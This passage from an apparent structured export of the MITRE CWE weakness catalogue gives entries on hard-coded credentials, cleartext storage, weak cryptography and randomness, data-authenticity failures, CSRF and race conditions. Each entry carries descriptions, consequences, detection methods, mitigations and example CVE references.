"Reference": "CVE-2021-35033" }, { "Description": "Installation script has a hard-coded secret token value, allowing attackers to bypass authentication", "Link": "https://www.cve.org/CVERecord?id=CVE-2012-3503", "Reference": "CVE-2012-3503" }, { "Description": "SCADA system uses a hard-coded password to protect back-end database containing authorization information, exploited by Stuxnet worm", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-2772", "Reference": "CVE-2010-2772" }, { "Description": "FTP server library uses hard-coded usernames and passwords for three default accounts", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-2073", "Reference": "CVE-2010-2073" }, { "Description": "Chain: Router firmware uses hard-coded username and password for access to debug functionality, which can be used to execute arbitrary code", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-1573", "Reference": "CVE-2010-1573" }, { "Description": "Server uses hard-coded authentication key", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-2369", "Reference": "CVE-2008-2369" }, { "Description": "Backup product uses hard-coded username and password, allowing attackers to bypass authentication via the RPC interface", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-0961", "Reference": "CVE-2008-0961" }, { "Description": "Security appliance uses hard-coded password allowing attackers to gain root access", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-1160", "Reference": "CVE-2008-1160" }, { "Description": "Drive encryption product stores hard-coded cryptographic keys for encrypted configuration files in executable programs", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-7142", "Reference": "CVE-2006-7142" }, { "Description": "VoIP product uses hard-coded public credentials that cannot be changed, which allows attackers to obtain sensitive information", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-3716", "Reference": "CVE-2005-3716" }, { "Description": "VoIP product uses hard coded public and private SNMP community strings that cannot be changed, which allows remote attackers to obtain sensitive information", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-3803", "Reference": "CVE-2005-3803" }, { "Description": "Backup product contains hard-coded credentials that effectively serve as a back door, which allows remote attackers to access the file system", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-0496", "Reference": "CVE-2005-0496" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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311

Missing Encryption of Sensitive Data

Class

Simple

Draft

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The product does not encrypt sensitive or critical information before storage or transmission.

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Discouraged

CWE-311 is high-level with more precise children available. It is a level-1 Class (i.e., a child of a Pillar).

Consider children CWE-312: Cleartext Storage of Sensitive Information or CWE-319: Cleartext Transmission of Sensitive Information.

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312

Cleartext Storage of Sensitive Information

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Simple

Draft

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The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere.

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[ { "CweID": "311", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" }, { "Class": "Cloud Computing", "Name": null, "Prevalence": "Undetermined", "Type": "Technology" }, { "Class": "ICS/OT", "Name": null, "Prevalence": "Undetermined", "Type": "Technology" }, { "Class": "Mobile", "Name": null, "Prevalence": "Undetermined", "Type": "Technology" } ]

[ { "Note": "OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.", "Phase": "Architecture and Design" } ]

[ { "Impact": [ "Read Application Data" ], "Likelihood": null, "Note": "An attacker with access to the system could read sensitive information stored in cleartext (i.e., unencrypted). Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.", "Scope": [ "Confidentiality" ] } ]

[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

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[ { "Description": "Remote Terminal Unit (RTU) uses a driver that relies on a password stored in plaintext.", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-30275", "Reference": "CVE-2022-30275" }, { "Description": "password and username stored in cleartext in a cookie", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-2272", "Reference": "CVE-2009-2272" }, { "Description": "password stored in cleartext in a file with insecure permissions", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-1466", "Reference": "CVE-2009-1466" }, { "Description": "chat program disables SSL in some circumstances even when the user says to use SSL.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-0152", "Reference": "CVE-2009-0152" }, { "Description": "Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-1603", "Reference": "CVE-2009-1603" }, { "Description": "storage of unencrypted passwords in a database", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-0964", "Reference": "CVE-2009-0964" }, { "Description": "storage of unencrypted passwords in a database", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-6157", "Reference": "CVE-2008-6157" }, { "Description": "product stores a password in cleartext in memory", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-6828", "Reference": "CVE-2008-6828" }, { "Description": "storage of a secret key in cleartext in a temporary file", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-1567", "Reference": "CVE-2008-1567" }, { "Description": "SCADA product uses HTTP Basic Authentication, which is not encrypted", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-0174", "Reference": "CVE-2008-0174" }, { "Description": "login credentials stored unencrypted in a registry key", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-5778", "Reference": "CVE-2007-5778" }, { "Description": "Plaintext credentials in world-readable file.", "Link": "https://www.cve.org/CVERecord?id=CVE-2001-1481", "Reference": "CVE-2001-1481" }, { "Description": "Password in cleartext in config file.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1828", "Reference": "CVE-2005-1828" }, { "Description": "Password in cleartext in config file.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-2209", "Reference": "CVE-2005-2209" }, { "Description": "Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1696", "Reference": "CVE-2002-1696" }, { "Description": "Plaintext storage of private key and passphrase in log file when user imports the key.", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-2397", "Reference": "CVE-2004-2397" }, { "Description": "Admin password in plaintext in a cookie.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1800", "Reference": "CVE-2002-1800" }, { "Description": "Default configuration has cleartext usernames/passwords in cookie.", "Link": "https://www.cve.org/CVERecord?id=CVE-2001-1537", "Reference": "CVE-2001-1537" }, { "Description": "Usernames/passwords in cleartext in cookies.", "Link": "https://www.cve.org/CVERecord?id=CVE-2001-1536", "Reference": "CVE-2001-1536" }, { "Description": "Authentication information stored in cleartext in a cookie.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-2160", "Reference": "CVE-2005-2160" } ]

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This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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319

Cleartext Transmission of Sensitive Information

Base

Simple

Draft

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The product transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.

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High

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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326

Inadequate Encryption Strength

Class

Simple

Draft

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The product stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required.

A weak encryption scheme can be subjected to brute force attacks that have a reasonable chance of succeeding using current attack methods and resources.

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[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" } ]

[ { "Note": "COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.", "Phase": "Architecture and Design" } ]

[ { "Impact": [ "Bypass Protection Mechanism", "Read Application Data" ], "Likelihood": null, "Note": "An attacker may be able to decrypt the data using brute force attacks.", "Scope": [ "Access Control", "Confidentiality" ] } ]

[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

[ { "Description": "Use an encryption scheme that is currently considered to be strong by experts in the field.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Architecture and Design" ], "Strategy": null } ]

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Use of a Broken or Risky Cryptographic Algorithm

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The product uses a broken or risky cryptographic algorithm or protocol.

Cryptographic algorithms are the methods by which data is scrambled to prevent observation or influence by unauthorized actors. Insecure cryptography can be exploited to expose sensitive information, modify data in unexpected ways, spoof identities of other users or devices, or other impacts. It is very difficult to produce a secure algorithm, and even high-profile algorithms by accomplished cryptographic experts have been broken. Well-known techniques exist to break or weaken various kinds of cryptography. Accordingly, there are a small number of well-understood and heavily studied algorithms that should be used by most products. Using a non-standard or known-insecure algorithm is dangerous because a determined adversary may be able to break the algorithm and compromise whatever data has been protected. Since the state of cryptography advances so rapidly, it is common for an algorithm to be considered "unsafe" even if it was once thought to be strong. This can happen when new attacks are discovered, or if computing power increases so much that the cryptographic algorithm no longer provides the amount of protection that was originally thought. For a number of reasons, this weakness is even more challenging to manage with hardware deployment of cryptographic algorithms as opposed to software implementation. First, if a flaw is discovered with hardware-implemented cryptography, the flaw cannot be fixed in most cases without a recall of the product, because hardware is not easily replaceable like software. Second, because the hardware product is expected to work for years, the adversary's computing power will only increase over time.

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[ { "Impact": [ "Read Application Data" ], "Likelihood": null, "Note": "The confidentiality of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.", "Scope": [ "Confidentiality" ] }, { "Impact": [ "Modify Application Data" ], "Likelihood": null, "Note": "The integrity of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.", "Scope": [ "Integrity" ] }, { "Impact": [ "Hide Activities" ], "Likelihood": null, "Note": "If the cryptographic algorithm is used to ensure the identity of the source of the data (such as digital signatures), then a broken algorithm will compromise this scheme and the source of the data cannot be proven.", "Scope": [ "Accountability", "Non-Repudiation" ] } ]

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916

Use of Password Hash With Insufficient Computational Effort

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The product generates a hash for a password, but it uses a scheme that does not provide a sufficient level of computational effort that would make password cracking attacks infeasible or expensive.

Many password storage mechanisms compute a hash and store the hash, instead of storing the original password in plaintext. In this design, authentication involves accepting an incoming password, computing its hash, and comparing it to the stored hash. Many hash algorithms are designed to execute quickly with minimal overhead, even cryptographic hashes. However, this efficiency is a problem for password storage, because it can reduce an attacker's workload for brute-force password cracking. If an attacker can obtain the hashes through some other method (such as SQL injection on a database that stores hashes), then the attacker can store the hashes offline and use various techniques to crack the passwords by computing hashes efficiently. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing (such as cloud computing) and GPU, ASIC, or FPGA hardware. In such a scenario, an efficient hash algorithm helps the attacker. There are several properties of a hash scheme that are relevant to its strength against an offline, massively-parallel attack: - The amount of CPU time required to compute the hash ("stretching") - The amount of memory required to compute the hash ("memory-hard" operations) - Including a random value, along with the password, as input to the hash computation ("salting") - Given a hash, there is no known way of determining an input (e.g., a password) that produces this hash value, other than by guessing possible inputs ("one-way" hashing) - Relative to the number of all possible hashes that can be generated by the scheme, there is a low likelihood of producing the same hash for multiple different inputs ("collision resistance") Note that the security requirements for the product may vary depending on the environment and the value of the passwords. Different schemes might not provide all of these properties, yet may still provide sufficient security for the environment. Conversely, a solution might be very strong in preserving one property, which still being very weak for an attack against another property, or it might not be able to significantly reduce the efficiency of a massively-parallel attack.

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[ { "CweID": "327", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" } ]

[ { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Architecture and Design" } ]

[ { "Impact": [ "Bypass Protection Mechanism", "Gain Privileges or Assume Identity" ], "Likelihood": null, "Note": "If an attacker can gain access to the hashes, then the lack of sufficient computational effort will make it easier to conduct brute force attacks using techniques such as rainbow tables, or specialized hardware such as GPUs, which can be much faster than general-purpose CPUs for computing hashes.", "Scope": [ "Access Control" ] } ]

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[ { "Description": "Router does not use a salt with a hash, making it easier to crack passwords.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-1526", "Reference": "CVE-2008-1526" }, { "Description": "Router does not use a salt with a hash, making it easier to crack passwords.", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-1058", "Reference": "CVE-2006-1058" }, { "Description": "Blogging software uses a hard-coded salt when calculating a password hash.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-4905", "Reference": "CVE-2008-4905" }, { "Description": "Database server uses the username for a salt when encrypting passwords, simplifying brute force attacks.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1657", "Reference": "CVE-2002-1657" }, { "Description": "Server uses a constant salt when encrypting passwords, simplifying brute force attacks.", "Link": "https://www.cve.org/CVERecord?id=CVE-2001-0967", "Reference": "CVE-2001-0967" }, { "Description": "chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-0408", "Reference": "CVE-2005-0408" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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330

Use of Insufficiently Random Values

Class

Simple

Stable

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The product uses insufficiently random numbers or values in a security context that depends on unpredictable numbers.

When product generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.

High

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Discouraged

This CWE entry is a level-1 Class (i.e., a child of a Pillar). It might have lower-level children that would be more appropriate

Examine children of this entry to see if there is a better fit

[ "Abstraction" ]

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[ { "Description": null, "Ordinality": "Primary" } ]

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[ "Cryptography", "Authentication", "Session Management" ]

[ "Computers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated. There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between it and a truly random value." ]

1

[ [ "330" ] ]

[ "331", "335", "338" ]

331

Insufficient Entropy

Base

Simple

Draft

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The product uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others.

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[ { "CweID": "330", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" } ]

[ { "Note": null, "Phase": "Architecture and Design" }, { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Implementation" } ]

[ { "Impact": [ "Bypass Protection Mechanism", "Other" ], "Likelihood": null, "Note": "An attacker could guess the random numbers generated and could gain unauthorized access to a system if the random numbers are used for authentication and authorization.", "Scope": [ "Access Control", "Other" ] } ]

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[ { "Description": "Determine the necessary entropy to adequately provide for randomness and predictability. This can be achieved by increasing the number of bits of objects such as keys and seeds.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Implementation" ], "Strategy": null } ]

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[ { "Description": "Insufficiently random data used to generate session tokens using C rand(). Also, for certificate/key generation, uses a source that does not block when entropy is low.", "Link": "https://www.cve.org/CVERecord?id=CVE-2001-0950", "Reference": "CVE-2001-0950" }, { "Description": "Chain: insufficient precision (CWE-1339) in random-number generator causes some zero bits to be reliably generated, reducing the amount of entropy (CWE-331)", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-2108", "Reference": "CVE-2008-2108" } ]

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[ "59" ]

[ { "Authors": [ "John Viega", "Gary McGraw" ], "Edition": "1st Edition", "ExternalReferenceID": "REF-207", "Publication": null, "PublicationDay": null, "PublicationMonth": null, "PublicationYear": "2002", "Publisher": "Addison-Wesley", "Section": null, "Title": "Building Secure Software: How to Avoid Security Problems the Right Way", "URL": null, "URLDate": null } ]

[ { "Note": "As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, \"randomness\" is used heavily. However, within cryptography, \"entropy\" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.", "Type": "Maintenance" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

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[ [ "330", "331" ] ]

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335

Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)

Base

Simple

Draft

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The product uses a Pseudo-Random Number Generator (PRNG) but does not correctly manage seeds.

PRNGs are deterministic and, while their output appears random, they cannot actually create entropy. They rely on cryptographically secure and unique seeds for entropy so proper seeding is critical to the secure operation of the PRNG. Management of seeds could be broken down into two main areas: - (1) protecting seeds as cryptographic material (such as a cryptographic key); - (2) whenever possible, using a uniquely generated seed from a cryptographically secure source PRNGs require a seed as input to generate a stream of numbers that are functionally indistinguishable from random numbers. While the output is, in many cases, sufficient for cryptographic uses, the output of any PRNG is directly determined by the seed provided as input. If the seed can be ascertained by a third party, the entire output of the PRNG can be made known to them. As such, the seed should be kept secret and should ideally not be able to be guessed. For example, the current time may be a poor seed. Knowing the approximate time the PRNG was seeded greatly reduces the possible key space. Seeds do not necessarily need to be unique, but reusing seeds may open up attacks if the seed is discovered.

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[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" } ]

[ { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Implementation" } ]

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[ { "Description": "Cloud application on Kubernetes generates passwords using a weak random number generator based on deployment time.", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-7010", "Reference": "CVE-2020-7010" }, { "Description": "server uses erlang:now() to seed the PRNG, which results in a small search space for potential random seeds", "Link": "https://www.cve.org/CVERecord?id=CVE-2019-11495", "Reference": "CVE-2019-11495" }, { "Description": "Product's PRNG is not seeded for the generation of session IDs", "Link": "https://www.cve.org/CVERecord?id=CVE-2018-12520", "Reference": "CVE-2018-12520" }, { "Description": "Router's PIN generation is based on rand(time(0)) seeding.", "Link": "https://www.cve.org/CVERecord?id=CVE-2016-10180", "Reference": "CVE-2016-10180" } ]

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This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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338

Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)

Base

Simple

Draft

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The product uses a Pseudo-Random Number Generator (PRNG) in a security context, but the PRNG's algorithm is not cryptographically strong.

When a non-cryptographic PRNG is used in a cryptographic context, it can expose the cryptography to certain types of attacks. Often a pseudo-random number generator (PRNG) is not designed for cryptography. Sometimes a mediocre source of randomness is sufficient or preferable for algorithms that use random numbers. Weak generators generally take less processing power and/or do not use the precious, finite, entropy sources on a system. While such PRNGs might have very useful features, these same features could be used to break the cryptography.

Medium

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[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" } ]

[ { "Note": null, "Phase": "Architecture and Design" }, { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Implementation" } ]

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[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

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[ { "Description": "PHP framework uses mt_rand() function (Marsenne Twister) when generating tokens", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-3692", "Reference": "CVE-2021-3692" }, { "Description": "Crypto product uses rand() library function to generate a recovery key, making it easier to conduct brute force attacks.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-3278", "Reference": "CVE-2009-3278" }, { "Description": "Random number generator can repeatedly generate the same value.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-3238", "Reference": "CVE-2009-3238" }, { "Description": "Web application generates predictable session IDs, allowing session hijacking.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-2367", "Reference": "CVE-2009-2367" }, { "Description": "SSL library uses a weak random number generator that only generates 65,536 unique keys.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-0166", "Reference": "CVE-2008-0166" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

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345

Insufficient Verification of Data Authenticity

Class

Simple

Draft

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The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.

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[ { "Note": null, "Phase": "Architecture and Design" }, { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Implementation" } ]

[ { "Impact": [ "Varies by Context", "Unexpected State" ], "Likelihood": null, "Note": null, "Scope": [ "Integrity", "Other" ] } ]

[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

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Discouraged

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[ "Abstraction" ]

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[ [ "345" ] ]

[ "346", "347", "352", "354", "924" ]

346

Origin Validation Error

Class

Simple

Draft

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The product does not properly verify that the source of data or communication is valid.

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[ { "Impact": [ "Gain Privileges or Assume Identity", "Varies by Context" ], "Likelihood": null, "Note": "An attacker can access any functionality that is inadvertently accessible to the source.", "Scope": [ "Access Control", "Other" ] } ]

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[ { "Description": "DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning", "Link": "https://www.cve.org/CVERecord?id=CVE-2000-1218", "Reference": "CVE-2000-1218" }, { "Description": "DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-0877", "Reference": "CVE-2005-0877" }, { "Description": "DNS server caches glue records received from non-delegated name servers", "Link": "https://www.cve.org/CVERecord?id=CVE-2001-1452", "Reference": "CVE-2001-1452" }, { "Description": "user ID obtained from untrusted source (URL)", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-2188", "Reference": "CVE-2005-2188" }, { "Description": "LDAP service does not verify if a particular attribute was set by the LDAP server", "Link": "https://www.cve.org/CVERecord?id=CVE-2003-0174", "Reference": "CVE-2003-0174" }, { "Description": "product does not sufficiently distinguish external HTML from internal, potentially dangerous HTML, allowing bypass using special strings in the page title. Overlaps special elements.", "Link": "https://www.cve.org/CVERecord?id=CVE-1999-1549", "Reference": "CVE-1999-1549" }, { "Description": "product records the reverse DNS name of a visitor in the logs, allowing spoofing and resultant XSS.", "Link": "https://www.cve.org/CVERecord?id=CVE-2003-0981", "Reference": "CVE-2003-0981" } ]

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[ { "Authors": [ "Taimur Aslam" ], "Edition": null, "ExternalReferenceID": "REF-324", "Publication": null, "PublicationDay": "01", "PublicationMonth": "08", "PublicationYear": "1995", "Publisher": null, "Section": null, "Title": "A Taxonomy of Security Faults in the UNIX Operating System", "URL": "https://cwe.mitre.org/documents/sources/ATaxonomyofSecurityFaultsintheUNIXOperatingSystem%5BAslam95%5D.pdf", "URLDate": "2024-11-17" } ]

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[ "Abstraction" ]

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[ { "Description": null, "Ordinality": "Primary" }, { "Description": null, "Ordinality": "Resultant" } ]

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347

Improper Verification of Cryptographic Signature

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Simple

Draft

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The product does not verify, or incorrectly verifies, the cryptographic signature for data.

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[ { "CweID": "345", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" } ]

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This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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352

Cross-Site Request Forgery (CSRF)

Compound

Composite

Stable

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The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

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Medium

[ { "CweID": "345", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

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[ { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Architecture and Design" } ]

[ { "Impact": [ "Gain Privileges or Assume Identity", "Bypass Protection Mechanism", "Read Application Data", "Modify Application Data", "DoS: Crash, Exit, or Restart" ], "Likelihood": null, "Note": "The consequences will vary depending on the nature of the functionality that is vulnerable to CSRF. An attacker could trick a client into making an unintentional request to the web server via a URL, image load, XMLHttpRequest, etc., which would then be treated as an authentic request from the client - effectively performing any operations as the victim, leading to an exposure of data, unintended code execution, etc. If the victim is an administrator or privileged user, the consequences may include obtaining complete control over the web application - deleting or stealing data, uninstalling the product, or using it to launch other attacks against all of the product's users. Because the attacker has the identity of the victim, the scope of CSRF is limited only by the victim's privileges.", "Scope": [ "Confidentiality", "Integrity", "Availability", "Non-Repudiation", "Access Control" ] } ]

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Allowed

This is a well-known Composite of multiple weaknesses that must all occur simultaneously, although it is attack-oriented in nature.

While attack-oriented composites are supported in CWE, they have not been a focus of research. There is a chance that future research or CWE scope clarifications will change or deprecate them. Perform root-cause analysis to determine if other weaknesses allow CSRF attacks to occur, and map to those weaknesses. For example, predictable CSRF tokens might allow bypass of CSRF protection mechanisms; if this occurs, they might be better characterized as randomness/predictability weaknesses.

[ "Other" ]

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[ { "Description": null, "Term": "Session Riding" }, { "Description": null, "Term": "Cross Site Reference Forgery" }, { "Description": null, "Term": "XSRF" }, { "Description": null, "Term": "CSRF" } ]

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354

Improper Validation of Integrity Check Value

Base

Simple

Draft

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The product does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.

Improper validation of checksums before use results in an unnecessary risk that can easily be mitigated. The protocol specification describes the algorithm used for calculating the checksum. It is then a simple matter of implementing the calculation and verifying that the calculated checksum and the received checksum match. Improper verification of the calculated checksum and the received checksum can lead to far greater consequences.

Medium

[ { "CweID": "345", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" } ]

[ { "Note": null, "Phase": "Architecture and Design" }, { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Implementation" } ]

[ { "Impact": [ "Modify Application Data", "Other" ], "Likelihood": null, "Note": "Integrity checks usually use a secret key that helps authenticate the data origin. Skipping integrity checking generally opens up the possibility that new data from an invalid source can be injected.", "Scope": [ "Integrity", "Other" ] }, { "Impact": [ "Other" ], "Likelihood": null, "Note": "Data that is parsed and used may be corrupted.", "Scope": [ "Integrity", "Other" ] }, { "Impact": [ "Hide Activities", "Other" ], "Likelihood": null, "Note": "Without a checksum check, it is impossible to determine if any changes have been made to the data after it was sent.", "Scope": [ "Non-Repudiation", "Other" ] } ]

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924

Improper Enforcement of Message Integrity During Transmission in a Communication Channel

Base

Simple

Incomplete

null

The product establishes a communication channel with an endpoint and receives a message from that endpoint, but it does not sufficiently ensure that the message was not modified during transmission.

Attackers might be able to modify the message and spoof the endpoint by interfering with the data as it crosses the network or by redirecting the connection to a system under their control.

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[ { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Architecture and Design" } ]

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362

Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Class

Simple

Draft

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The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

